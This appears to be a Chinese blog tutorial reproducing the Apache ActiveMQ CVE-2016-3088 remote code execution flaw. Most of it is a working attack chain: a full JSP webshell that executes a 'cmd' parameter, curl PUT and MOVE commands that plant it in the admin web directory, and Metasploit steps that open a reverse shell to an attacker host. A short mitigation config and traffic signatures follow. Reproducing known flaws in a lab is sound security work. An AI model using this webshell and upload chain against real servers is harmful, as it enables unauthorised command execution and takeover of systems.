您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# ActiveMQ远程代码执行漏洞CVE-2016-3088复现分析
## 漏洞概述
CVE-2016-3088是Apache ActiveMQ中存在的一个严重安全漏洞,该漏洞允许攻击者通过未授权访问的Fileserver功能上传恶意文件,进而实现远程代码执行(RCE)。漏洞影响版本主要为Apache ActiveMQ 5.x至5.13.0。
### 漏洞原理
ActiveMQ默认开放61616(消息代理)和8161(管理控制台)端口。其Fileserver功能允许用户通过HTTP PUT方法上传文件,但未对上传文件类型进行严格限制,攻击者可上传包含恶意代码的JSP文件到web目录,通过HTTP请求触发代码执行。
---
## 环境搭建
### 实验环境要求
- 靶机:Kali Linux(运行ActiveMQ 5.12.1)
- 攻击机:任意可发送HTTP请求的主机
- 工具:Burp Suite/cURL、Metasploit Framework
### 安装步骤
1. 下载受影响版本:
```bash
wget https://archive.apache.org/dist/activemq/5.12.1/apache-activemq-5.12.1-bin.tar.gz
tar -xzvf apache-activemq-5.12.1-bin.tar.gz
cd apache-activemq-5.12.1/bin
./activemq start
http://target_ip:8161/admin
(默认账号密码admin/admin)检测Fileserver是否存在:
curl -X OPTIONS http://target_ip:8161/fileserver/
# 若返回包含PUT/DELETE方法,则存在风险
上传WebShell:
创建恶意JSP文件shell.jsp
:
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
使用PUT方法上传:
curl -v -X PUT --data "@shell.jsp" "http://target_ip:8161/fileserver/shell.jsp"
移动文件至Web目录:
curl -v -X MOVE --header "Destination: file:///opt/activemq/webapps/admin/shell.jsp" "http://target_ip:8161/fileserver/shell.jsp"
执行命令:
访问http://target_ip:8161/admin/shell.jsp?cmd=whoami
查看命令回显。
msfconsole
use exploit/multi/http/activemq_upload_jsp
set RHOSTS target_ip
set RPORT 8161
set TARGETURI /fileserver/
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST attacker_ip
exploit
官方补丁:
conf/jetty.xml
中Fileserver配置)临时缓解措施:
<!-- 在conf/jetty.xml中添加 -->
<bean class="org.eclipse.jetty.server.handler.ContextHandler">
<property name="contextPath" value="/fileserver" />
<property name="handler">
<bean class="org.eclipse.jetty.server.handler.ResourceHandler">
<property name="allowedMethods" value="GET" />
</bean>
</property>
</bean>
漏洞根源在于: 1. 权限控制缺失:Fileserver未做身份验证 2. 文件操作滥用:MOVE方法可跨目录移动文件 3. 沙箱绕过:JSP文件可直接在Web上下文执行
攻击流量特征:
- HTTP PUT请求包含.jsp
扩展名
- MOVE请求的Destination头包含webapps
路径
”`
注:实际复现需在授权环境下进行,部分操作可能因环境差异需要调整。文中IP地址需替换为实际目标地址。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。